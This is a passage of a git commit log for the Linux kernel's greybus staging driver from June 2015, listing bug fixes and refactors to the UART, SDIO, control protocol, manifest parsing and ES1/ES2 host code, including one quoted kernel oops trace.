moved to the receive-data message. This patch implements that specification change in the UART protocol driver. Matching code in gbsim has been tested with this change. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 59 ++++++++++++++++++++++++++++-------------- 1 file changed, 40 insertions(+), 19 deletions(-) commit 802362d4a621a03b394b3082b40e5471bf5268ad Author: Bryan O'Donoghue Date: Mon Jun 29 18:09:13 2015 +0100 greybus: uart: Relocate UART parity/overrun/framing/break signals Parity/overrun/framing and break signals have been moved to the receive-data message to more easily associate the signals with the TTY API. Update the definitions in the protocol header and add a flags field to the receive-data structure to facilitate transmission of those signal with the receive-data message. Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit dccbe40ff97ac24ad8e99486df1cc2143bb99ff7 Author: Viresh Kumar Date: Tue Jun 30 11:40:18 2015 +0530 greybus: define more greybus classes There are new protocols defined which don't belong to any existing class, add more classes to support them. Reported-by: Alexandre Bailon Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_manifest.h | 3 +++ 1 file changed, 3 insertions(+) commit 93a99e8a105aeaec432995196c21ffedcd0c0cad Author: Phong Tran Date: Fri Jun 26 21:05:13 2015 +0700 greybus: sdio: correct the usage of mmc request in work queues handler The mmc request should assigned before use. Then It should avoid freeing before using in mmc_request_done(). Signed-off-by: Phong Tran Reviewed-by: Rui Miguel Silva Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 9b86bdf96ef79e5e286628cb2e3ea6639db71904 Author: Phong Tran Date: Fri Jun 26 21:05:12 2015 +0700 greybus: sdio: change the order of remove and free mmc host The mmc host should be removed frist. Then it will be freed. Signed-off-by: Phong Tran Reviewed-by: Rui Miguel Silva Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/sdio.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 153f4784b428b3b5ef9d43ab9f8fa5322bc3717c Author: Phong Tran Date: Fri Jun 26 21:05:11 2015 +0700 greybus: sdio: remove the redefine of sdio major and minor The macro of sdio version major and minor is defined twice. This patch remove the redundant one. Signed-off-by: Phong Tran Reviewed-by: Rui Miguel Silva Reviewed-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 4 ---- 1 file changed, 4 deletions(-) commit f4706b848ec6c58f797604112d30272db8d5e8dd Author: Mark Greer Date: Fri Jun 26 16:38:46 2015 -0700 greybus: gb-audio: Ensure i2c adapter struct exists before using The current audio code uses i2c_get_adapter() without checking that a non-NULL pointer is returned (i.e., that the i2c device actually exists). When that happens, the system panics. Fix the potential panic by erroring out with -ENODEV when i2c_get_adapter() returns NULL. CC: John Stultz Signed-off-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/audio.c | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) commit 86f918ee7f941c383ee32ad28dca6e48a04b6074 Author: Johan Hovold Date: Tue Jun 23 14:17:41 2015 +0200 greybus: esx: fix null-deref on hotplug events We must be prepared to receive hotplug events as soon as we submit the SVC URB. Since commit 2eb8a6a947d7 ("core: don't set up endo until host device is initialized") this is no longer the case as the endo would not have been setup, something which may lead to a null-pointer dereference in endo_get_module_id() when the interface is created (see oops below with an added dev_dbg for hd->endo). Fix this by setting up the endo before submitting the SVC URB. [ 28.810610] gb_interface_create - hd->endo = (null) [ 28.816020] Unable to handle kernel NULL pointer dereference at virtual address 0000022b [ 28.824952] pgd = c0004000 [ 28.827880] [0000022b] *pgd=00000000 [ 28.831913] Internal error: Oops: 17 [#1] PREEMPT ARM [ 28.837183] Modules linked in: gb_es1(O+) greybus(O) netconsole [ 28.843419] CPU: 0 PID: 21 Comm: kworker/u2:1 Tainted: G O 4.1.0-rc7 #12 [ 28.851576] Hardware name: Generic AM33XX (Flattened Device Tree) [ 28.857978] Workqueue: greybus_ap ap_process_event [greybus] [ 28.863890] task: cf2961c0 ti: cf29c000 task.ti: cf29c000 [ 28.869529] PC is at endo_get_module_id+0x18/0x88 [greybus] [ 28.875355] LR is at gb_interface_add+0x88/0x204 [greybus] [ 28.881070] pc : [] lr : [] psr: 20070013 [ 28.881070] sp : cf29de08 ip : cf29de18 fp : cf29de14 [ 28.893021] r10: 00000001 r9 : 0000005a r8 : cd813ec6 [ 28.898461] r7 : 00000058 r6 : cf7fa200 r5 : 00000001 r4 : cf7fa20c [ 28.905261] r3 : 00000000 r2 : cf2961c0 r1 : 00000001 r0 : 00000000 [ 28.912067] Flags: nzCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel [ 28.919677] Control: 10c5387d Table: 8f508019 DAC: 00000015 [ 28.925663] Process kworker/u2:1 (pid: 21, stack limit = 0xcf29c210) [ 28.932279] Stack: (0xcf29de08 to 0xcf29e000) [ 28.936823] de00: cf29de44 cf29de18 bf005dac bf0052c8 00000058 cd813ec0 [ 28.945349] de20: cf58b60c bf00afe0 cf7fa200 cf58b600 0000005a 00000001 cf29de84 cf29de48 [ 28.953865] de40: bf004844 bf005d30 00000000 cf02d800 cf29de6c cf29de60 c00759a0 cf58b60c [ 28.962389] de60: cf2742c0 cf02d800 cf0c6000 cf29dea8 c07b745c 00000000 cf29dee4 cf29de88 [ 28.970908] de80: c005943c bf004560 00000001 00000000 c0059354 cf02d800 c0059c0c 00000001 [ 28.979426] dea0: 00000000 00000000 bf00b314 00000000 00000000 bf009144 c04e3710 cf02d800 [ 28.987945] dec0: cf2742d8 cf02d830 00000088 c0059bd0 00000000 cf2742c0 cf29df24 cf29dee8 [ 28.996464] dee0: c0059b78 c0059248 cf29c000 cf245d40 c0776890 c07b6bf3 00000000 00000000 [ 29.004983] df00: cf245d40 cf2742c0 c0059b20 00000000 00000000 00000000 cf29dfac cf29df28 [ 29.013502] df20: c005fe90 c0059b2c c07812d0 00000000 cf29df4c cf2742c0 00000000 00000001 [ 29.022025] df40: dead4ead ffffffff ffffffff c07c86b0 00000000 00000000 c05fd8e8 cf29df5c [ 29.030542] df60: cf29df5c 00000000 00000001 dead4ead ffffffff ffffffff c07c86b0 00000000 [ 29.039062] df80: 00000000 c05fd8e8 cf29df88 cf29df88 cf245d40 c005fd98 00000000 00000000 [ 29.047581] dfa0: 00000000 cf29dfb0 c00108f8 c005fda4 00000000 00000000 00000000 00000000 [ 29.056105] dfc0: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 [ 29.064623] dfe0: 00000000 00000000 00000000 00000000 00000013 00000000 ffff0000 ffff0000 [ 29.073178] [] (endo_get_module_id [greybus]) from [] (gb_interface_add+0x88/0x204 [greybus]) [ 29.083887] [] (gb_interface_add [greybus]) from [] (ap_process_event+0x2f0/0x4d8 [greybus]) [ 29.094527] [] (ap_process_event [greybus]) from [] (process_one_work+0x200/0x8e4) [ 29.104228] [] (process_one_work) from [] (worker_thread+0x58/0x500) [ 29.112668] [] (worker_thread) from [] (kthread+0xf8/0x110) [ 29.120295] [] (kthread) from [] (ret_from_fork+0x14/0x3c) [ 29.127825] Code: e24cb004 e52de004 e8bd4000 e3510000 (e5d0c22b) [ 29.137481] ---[ end trace ad95c3c26bdc98ce ]--- Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 19 +++++++++---------- drivers/staging/greybus/es2.c | 19 +++++++++---------- 2 files changed, 18 insertions(+), 20 deletions(-) commit 8a01b408a6b071862efadf905bad60d10612e78a Author: Rui Miguel Silva Date: Wed Jun 24 23:20:27 2015 +0100 greybus: kernel_ver: add sg copy operations for kernel < 3.11 For older kernel, < 3.11, no copy to/from buffer with skip support was defined. This could break builds for this versions of kernel. Add them here. Signed-off-by: Rui Miguel Silva Tested-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 100 +++++++++++++++++++++++++++++++++++ 1 file changed, 100 insertions(+) commit 5656ab99a0ff9136613ab1da509ccd6d7652d173 Author: Rui Miguel Silva Date: Wed Jun 24 23:20:26 2015 +0100 greybus: sdio: fix defines for older kernels Some of the options for mmc host, are not defined in older kernels. MMC_CAP2_HS400_1_2V, MMC_CAP2_HS400_1_8V, MMC_TIMING_MMC_DDR52 and MMC_TIMING_MMC_HS400. To not use them for older versions. Signed-off-by: Rui Miguel Silva Tested-by: Mark Greer Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/kernel_ver.h | 8 ++++++++ drivers/staging/greybus/sdio.c | 14 +++++++++++--- 2 files changed, 19 insertions(+), 3 deletions(-) commit 730a2f6d1066e7771d5b85b8e9ec5ed09b153d01 Author: Viresh Kumar Date: Mon Jun 22 16:42:30 2015 +0530 greybus: control: Warn if non-control cport/bundles have control protocol/classes It is possible that (by mistake) the manifest contains non-control cports with their protocol set as control-protocol or non-control bundle with their class set as control-class. Catch such cases, WARN for them and finally ignore them. Also WARN if the control cport doesn't have its protocol as control-protocol and control bundle doesn't have its class as control-class. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 22 +++++++++++++++++++--- 1 file changed, 19 insertions(+), 3 deletions(-) commit f18327e8ebf4738140e9b33a2de99bb8e526a269 Author: Viresh Kumar Date: Mon Jun 22 16:42:29 2015 +0530 greybus: connection: send [dis]connected events over control CPort The AP needs to send connected and disconnection events to all interfaces, before a CPort (other than control CPort) can be used. For now do it which we initialize the connection, but it should be moved to operations code later. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 34 ++++++++++++++++++++++++++++++++++ 1 file changed, 34 insertions(+) commit 87c8eb8d09387de7263a7c2c75536db4aa50e056 Author: Viresh Kumar Date: Mon Jun 22 16:42:28 2015 +0530 greybus: hotplug function doesn't need to contain manifest now Manifest is fetched with control protocol now and so we don't need space for it in hotplug data. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 6 ++---- drivers/staging/greybus/svc_msg.h | 1 - 2 files changed, 2 insertions(+), 5 deletions(-) commit 6c68da264b080f749e8848b0227e6bb7d7c72f21 Author: Viresh Kumar Date: Mon Jun 22 16:42:27 2015 +0530 greybus: interface: Get manifest using Control protocol Control protocol is ready to be used for fetching manifest. Lets do it. This changes few things: - Creates/initializes bundle/connection for control protocol initially and skips doing the same later. - Manifest is parsed at link-up now, instead of hotplug which was the case earlier. This is because we need device_id (provided during link-up) for registering bundle. - Manifest is fetched using control protocol. So the sequence of events is: Event Previously Now ----- ---------- --- Interface Hotplug create intf create intf parse mfst Interface Link Up init bundles create control conn get mfst size get mfst parse mfst init bundles Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/ap.c | 7 ++- drivers/staging/greybus/bundle.c | 4 ++ drivers/staging/greybus/interface.c | 100 ++++++++++++++++++++++++++++-------- drivers/staging/greybus/interface.h | 5 +- drivers/staging/greybus/manifest.c | 14 +++++ 5 files changed, 104 insertions(+), 26 deletions(-) commit cdee4f7505dbb06671a41f63b295d3d7680d760c Author: Viresh Kumar Date: Mon Jun 22 16:42:26 2015 +0530 greybus: Add control protocol support Add control protocol driver that is responsible for handling operations on control CPort. The AP also needs to support incoming requests on its control port. Features not implemented yet are marked as TODO for now. NOTE: This also fixes cport-bundle-id to 0 and cport-id to 2 for control protocol. Reviewed-by: Alex Elder Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 1 + drivers/staging/greybus/control.c | 150 ++++++++++++++++++++++++++++ drivers/staging/greybus/control.h | 27 +++++ drivers/staging/greybus/core.c | 9 ++ drivers/staging/greybus/greybus.h | 1 + drivers/staging/greybus/greybus_protocols.h | 39 ++++++++ drivers/staging/greybus/interface.h | 1 + 7 files changed, 228 insertions(+) commit b08488bea5929f14b1e08d701652427bf63a9b47 Author: Viresh Kumar Date: Mon Jun 22 16:36:47 2015 +0530 greybus: manifest: Allow bundles/connections list to be non-empty at manifest parsing A connection and a bundle will be created for interfaces at the very beginning for control protocol's functioning. And so the list of bundles and connections for a interface will be non-empty by the time manifest is parsed. Currently we are firing a WARN when these lists are found to be non-empty. Lets fix that to contain single bundle and connection for control protocol. Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 6 ------ 1 file changed, 6 deletions(-) commit 3b6ecd6de6b4d8aad200d256b0c09d536a15df29 Author: Rui Miguel Silva Date: Mon Jun 22 14:03:52 2015 +0100 greybus: sdio: extend sdio implementation Extend sdio implementation, as it for now it was basically stubs. This implementation is compile tested only since there is no fw or simulation support yet. Next step is to add sdio support to gbsim and test it with success using the mmc_test facility. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 160 +++++++ drivers/staging/greybus/sdio.c | 677 ++++++++++++++++++++++++++-- 2 files changed, 808 insertions(+), 29 deletions(-) commit 656f22e94ec793252c7d1b220da5566042a62040 Author: Rui Miguel Silva Date: Mon Jun 22 14:03:51 2015 +0100 greybus: makefile: add MMC to the required option list Add MMC to the list of options that shall be enable. Signed-off-by: Rui Miguel Silva Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cdb5781d9fd5f9728a799a26590d2da5794fb1b0 Author: Bryan O'Donoghue Date: Thu Jun 18 16:41:58 2015 +0100 greybus: uart: Fix sparse warning Greg reported sparse picked up the following warning: /home/gregkh/ara/greybus/uart.c:105:34: warning: cast to restricted __le16 This is due to the control variable in gb_uart_serial_state_request which needs to be declared __le16 not __u16. Signed-off-by: Bryan O'Donoghue Reported-by: Greg Kroah-Hartman Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/greybus_protocols.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ee2266c720520dd2bcf90974f184a22d6e53d06 Author: Bryan O'Donoghue Date: Tue Jun 16 11:28:11 2015 +0100 greybus: uart: Latch modem control signals for tciomget Latch signals coming from UART module for - GB_UART_CTRL_DCD - GB_UART_CTRL_DSR - GB_UART_CTRL_RI Signed-off-by: Bryan O'Donoghue Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit fd7b435f21239a022057b014aff0836403bfa54a Author: Greg Kroah-Hartman Date: Tue Jun 16 19:43:05 2015 -0700 greybus: Revert "greybus: reserve host cport id 0" This reverts commit 698d4bd3e7541a660a3c3665f0af9e787650a239 as Alex says it is broken. Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 10 +--------- drivers/staging/greybus/greybus.h | 2 +- 2 files changed, 2 insertions(+), 10 deletions(-) commit 9df94499c443d59291d247046cf3381ca06c1d36 Merge: fc1a536 4bc1389 Author: Greg Kroah-Hartman Date: Mon Jun 15 16:53:23 2015 -0700 greybus: Merge branch alex into Alexandre This resolves a conflict with es2.c that I fixed up. Signed-off-by: Greg Kroah-Hartman commit fc1a536e603f5e096ae82c1a4195af41f0f5ee99 Author: Alexandre Bailon Date: Mon Jun 15 18:08:14 2015 +0200 greybus: es2.c: add a control request for endpoints mapping ES2 give us more endpoints. Use them to map one cport to two endpoints (in and out). Because there is more cports than endpoints, we still need to mux other cports traffic on 2 endpoints. Firmware currently assumes these endpoints are 2 and 3. By default, all cports are muxed. To map one cport to 2 endpoints, use map_cport_to_ep(). Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 78 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 77 insertions(+), 1 deletion(-) commit 606addd2847ccc56a70fe90d6861081f9a1cf7c1 Author: Alexandre Bailon Date: Mon Jun 15 18:08:13 2015 +0200 greybus: es2.c: Increase the number of bulk endpoints ES2 support 16 endpoints. Update es2.c to allocate endpoints, urbs and buffers for these new endpoints. Currently, they are not yet used and es2.c is working in legacy mode (only original endpoints are used). Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 95 ++++++++++++++++++++++++------------------- 1 file changed, 54 insertions(+), 41 deletions(-) commit ddc09acd469523dc4a15bce30103743d243bc9ba Author: Alexandre Bailon Date: Mon Jun 15 18:08:12 2015 +0200 greybus: es2.c: create dedicated struct for cport_in and cport_out Instead of keep cport buffers, urbs and endpoints in es1_ap_dev, move them in two dedicated struct (es1_cport_in and es1_cport_out), in order to ease the migration to es2 (increase the number of endpoint). Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 49 ++++++++++++++++++++++++++++--------------- 1 file changed, 32 insertions(+), 17 deletions(-) commit 611c17390e7b47b3f311a9304439eaa4de94dbae Author: Alexandre Bailon Date: Mon Jun 15 18:08:11 2015 +0200 greybus: es2.c: Don't use magic value for USB control request Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es2.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 799baa24dbe449154dcde3bb607d254b8162f901 Author: Alexandre Bailon Date: Mon Jun 15 18:08:10 2015 +0200 greybus: es1.c: Don't use magic value for USB control request Signed-off-by: Alexandre Bailon Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) commit 4bc1389de9fcaaaf2f93e278f588858fb4fe2038 Author: Alex Elder Date: Sat Jun 13 11:02:11 2015 -0500 greybus: esX: use one byte to encode cport ids in header We now limit the maximum value for both host and module CPort ids, and we know they can always be represented in a single byte. Make use of this by using only one of the two pad bytes for encoding the CPort id in a message header. (Note that we have never used a CPort higher than 255. Encoding such a small CPort id in little endian 2-byte format has the same result as what is done here.) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 9 ++++++--- drivers/staging/greybus/es2.c | 9 ++++++--- 2 files changed, 12 insertions(+), 6 deletions(-) commit 88d18a975ddac4fa849909c2ae178b0c126f7f8e Author: Alex Elder Date: Sat Jun 13 11:02:10 2015 -0500 greybus: reserve host cport id 0 For ES1 and ES2, we use pad bytes in an operation message header to encode the CPort ID used for transferring the message. The pad bytes should otherwise be zero, and we ensure this as the message is passed to or from the upper layer. If host-side CPort ID 0 is used, we have no way of knowing whether the CPort field has been "packed" into the header. To allow detection of this, reserve host CPort id 0. Update cport_id_valid() to treat 0 as invalid. (CPort ID 0 is reserved by one of the UniPro standards. We'll assume for now that we never use it for Greybus.) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/core.c | 10 +++++++++- drivers/staging/greybus/greybus.h | 2 +- 2 files changed, 10 insertions(+), 2 deletions(-) commit fb690ca96f9a7aff8bc8135ce23606e243f4cbae Author: Alex Elder Date: Sat Jun 13 11:02:09 2015 -0500 greybus: rename HOST_DEV_CPORT_ID_MAX We limit the number of host-side CPorts to a fixed maximum (which is less than the 4096 that UniPro allows). This patch imposes a similar limit on the CPort IDs defined by modules (signaling an error if one too large is found in a manifest). It seems reasonable to use the same value for both limits. Change the name of the constant that defines the host limit and use it for both. Update cport_id_valid() to enforce the maximum. (Ultimately we should impose a limit like this; this change is being made in preparation for supporting multiple connections over a single CPort.) Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- drivers/staging/greybus/core.c | 2 +- drivers/staging/greybus/greybus.h | 12 ++++++------ drivers/staging/greybus/manifest.c | 5 ++++- 4 files changed, 12 insertions(+), 9 deletions(-) commit d29b3d631e572400b45b5f9e48e432493663b0fc Author: Alex Elder Date: Sat Jun 13 11:02:08 2015 -0500 greybus: esX: encapsulate packing cport id into header For the ES1 and ES2 host interfaces we encode the CPort ID over which the message should be sent within the message itself. The CPort ID is recorded in unused pad bytes found in the operation message header in order to avoid introducing misaligned messages. This patch defines some helper routines to abstract this activity. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 42 ++++++++++++++++++++++++++++++++---------- drivers/staging/greybus/es2.c | 42 ++++++++++++++++++++++++++++++++---------- 2 files changed, 64 insertions(+), 20 deletions(-) commit 821c620afa1ad29be6a85a9a3f691e32e973a317 Author: Alex Elder Date: Sat Jun 13 11:02:07 2015 -0500 greybus: introduce cport_id_valid() Define a public predicate that defines whether a CPort ID is valid. Use it in the message_send() routine, and make the message reported more accurately reflect the error. Also use it to check whether the CPort ID in a received message is valid; if it is not, just drop the message. Get rid of local variable "buffer" in message_send(); it adds no value. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/es1.c | 18 ++++++++++-------- drivers/staging/greybus/es2.c | 18 ++++++++++-------- drivers/staging/greybus/greybus.h | 5 +++++ 3 files changed, 25 insertions(+), 16 deletions(-) commit 2a64fb0e1e13eee53e56805d8a1f0ff7bbf57306 Author: Alex Elder Date: Fri Jun 12 10:21:12 2015 -0500 greybus: manifest: clean up properly when parsing bundles Currently, if an error occurs creating a bundle, we simply return an error without cleaning up any of the bundles that had already been successfully set up. Add code to destroy bundles that have been created in the event an error occurs. Add a check to ensure the interface's list of bundles was empty before parsing for bundles begins. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 17 ++++++++++++++--- 1 file changed, 14 insertions(+), 3 deletions(-) commit fe53b45ca8143e7f1073ff31d7c4cfb4e92dc824 Author: Alex Elder Date: Fri Jun 12 10:21:11 2015 -0500 greybus: bundle: fix gb_bundle_destroy() Currently gb_bundle_destroy() takes an interface as an argument, and really doesn't do what a function by that name should do. What it now does is delete all bundles associated with a given interface. What it should do is destroy a single bundle. Move the looping logic out of gb_bundle_destroy() and into its caller, gb_interface_destroy(). Pass each bundle in an interface to gb_bundle_destroy(), which will do what's required to destroy a single bundle (including removing it from its interface's bundle list under protection of the lock). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 18 ++++-------------- drivers/staging/greybus/bundle.h | 2 +- drivers/staging/greybus/interface.c | 6 ++++-- 3 files changed, 9 insertions(+), 17 deletions(-) commit bc942083585da78a5287089023aebcc8952c21f4 Author: Alex Elder Date: Fri Jun 12 10:21:10 2015 -0500 greybus: bundle: refactor gb_bundle_find() Rearrange gb_bundle_find() so it follows the pattern used by gb_connection_find(). Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 52e8ce317fe51dea86777b164b63e41e50f8a7bf Author: Alex Elder Date: Fri Jun 12 10:21:09 2015 -0500 greybus: manifest: clean up properly when parsing cports Currently, if an error occurs creating a connection, we simply return an error without cleaning up any of the connections that had already been successfully set up. Add code to destroy connections that have been created in the event an error occurs. Add a check to ensure the bundle's list of connections was empty before parsing for CPorts begins. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 15 ++++++++++++++- 1 file changed, 14 insertions(+), 1 deletion(-) commit f9b0366f16c3926e92e7d108fe8666fac671d026 Author: Alex Elder Date: Fri Jun 12 10:21:08 2015 -0500 greybus: connection: un-abstract host cport id allocation I did this recently for the endo id allocation code. It's clearer now that the allocation of a CPort ID to use for the AP side of a connection is not very complicated, and it happens in a pretty controlled environment. The functions that abstract getting and releasing those ids don't really add that much value. This patch removes gb_connection_hd_cport_id_alloc() and gb_connection_hd_cport_id_free(), and just open-codes their activity in the few places they are called. It is obvious now that the CPort ID allocation isn't done in atomic context, so we can change the ida_simple_get() call to use GFP_KERNEL. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 61 ++++++++++++------------------------ 1 file changed, 20 insertions(+), 41 deletions(-) commit deb58ca8299598f81123dd92456c0cc3a9a38555 Author: Alex Elder Date: Fri Jun 12 10:21:07 2015 -0500 greybus: connection: drop unneeded gb_protocol_put() calls Although a connection records its protocol id when it gets created, its protocol handler doesn't actually get assigned until gb_connection_bind_protocol() is called. In gb_connection_create() there are some error paths in which a reference to the connection's protocol is released before the protocol handler has been associated with the connection. Get rid of those calls. As a result, we will never pass a null protocol pointer to gb_protocol_put(). Add a precautionary warning in that function in the event that ever occurs. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 3 +-- drivers/staging/greybus/protocol.c | 2 +- 2 files changed, 2 insertions(+), 3 deletions(-) commit 856618f3fb6506f277adf060717590d03d3fb559 Author: Alex Elder Date: Fri Jun 12 10:21:06 2015 -0500 greybus: connection: remove extra kfree() call When an error occurs in the device_add() call for a connection, the device reference is dropped as required. Because that's the device's only reference, that will also lead to gb_connection_release() being called, which frees the connection structure. Right now we're then making an extra request to free the connection, which is wrong. Fix that. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 55a8e3550364a35bc5d40fa0e445049a5df62627 Author: Phong Tran Date: Wed Jun 10 21:03:17 2015 +0700 greybus: uart: fix the clean up while uart initiates connection unsucessfully There is lack of unregister and free the tty driver. This patch fixes it. Signed-off-by: Phong Tran Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/uart.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 3d0421e0ab5315051b949ea70dee37c15e860706 Author: Greg Kroah-Hartman Date: Thu Jun 11 09:22:51 2015 -0700 greybus: remove __init from .h files __init does not belong in a .h file, as it does not do anything there, so remove all instances of it. Reviewed-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.h | 2 +- drivers/staging/greybus/greybus.h | 4 ++-- drivers/staging/greybus/operation.h | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) commit 0ffacf3b8ae169a26c941345b7fa54e1624f6b95 Author: Viresh Kumar Date: Thu Jun 11 16:39:42 2015 +0530 greybus: endo: Fix compilation warning WARNING: /home/viresh/work/repos/ara/greybus/greybus.o(.init.text+0xb8): Section mismatch in reference from the function init_module() to the function .exit.text:gb_endo_exit() The function __init init_module() references a function __exit gb_endo_exit(). Fix it by removing __exit from endo_exit(). Fixes: cf64356c5151 ("endo: define endo_init() and endo_exit()") Signed-off-by: Viresh Kumar Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/endo.c | 2 +- drivers/staging/greybus/endo.h | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit f5c2be9e9bd934973d3e51b933bf7c03f85d2010 Author: Alex Elder Date: Tue Jun 9 17:42:58 2015 -0500 greybus: connection: check for duplicate cport ids Check at connection creation time for an attempt to create a connection with an interface CPort ID that's the same as one that's already been created. Define a new helper function to look for such a duplicate. The check for a duplicate is only performed at initialization time, and CPorts are initialized serially for each bundle, so there's no need to acquire the list lock for this search. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/connection.c | 32 ++++++++++++++++++++++++++------ 1 file changed, 26 insertions(+), 6 deletions(-) commit 8267616b3ef73b22c9ed5b87905c13fc332fe507 Author: Alex Elder Date: Tue Jun 9 17:42:57 2015 -0500 greybus: bundle: check for duplicate bundle ids Check at bundle creation time to ensure we're not creating a bundle with an id that's the same as one that's already been created. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/bundle.c | 10 ++++++++++ 1 file changed, 10 insertions(+) commit c27a253fc0481b46759082c72d196777ea459a6e Author: Alex Elder Date: Tue Jun 9 17:42:56 2015 -0500 greybus: manifest: rework bundle parsing Rework the the code that parses the manifest for bundles so it only touches each manifest descriptor once. (Previously the list was scanned from the beginning repeatedly until all bundles were found.) Shorten the name of the descriptor variable, to avoid line wrap. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 23 ++++++++--------------- 1 file changed, 8 insertions(+), 15 deletions(-) commit a6b13eb648fd3d03d45e722f81f26eed9bdecb87 Author: Alex Elder Date: Tue Jun 9 17:42:55 2015 -0500 greybus: manifest: rework cport parsing Rework the the code that parses the manifest for CPorts associated with a bundle so it only touches each manifest descriptor once. (Previously the list was scanned from the beginning repeatedly until all bundle CPorts were found.) Shorten the name of the descriptor variable, to avoid line wrap. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 29 +++++++++++++---------------- 1 file changed, 13 insertions(+), 16 deletions(-) commit c46839d1cc418aad43c66344888cd266b689acf9 Author: Alex Elder Date: Tue Jun 9 17:42:54 2015 -0500 greybus: manifest: use bundle's embedded interface pointer An initialized bundle structure contains a pointer to its interface. Because of this there's no need to provide the interface pointer to gb_manifest_parse_cports(). This also precludes the possibility of passing a bad interface pointer. Signed-off-by: Alex Elder Signed-off-by: Greg Kroah-Hartman drivers/staging/greybus/manifest.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit d393c98f11a8a3355387d52386c885bc89970176 Author: Alex Elder Date: Tue Jun 9 17:42:53 2015 -0500 greybus: manifest: really minor cleanups This patch incorporates some very small cleanups to "manifest.c": - Rearrange code a bit in gb_manifest_parse() that ensures a manifest is big enough to hold a header. If the manifest is exactly the size of a header, the error reported will now be "...must have 1 interface..." rather than "short manifest". - Fix the function comment for 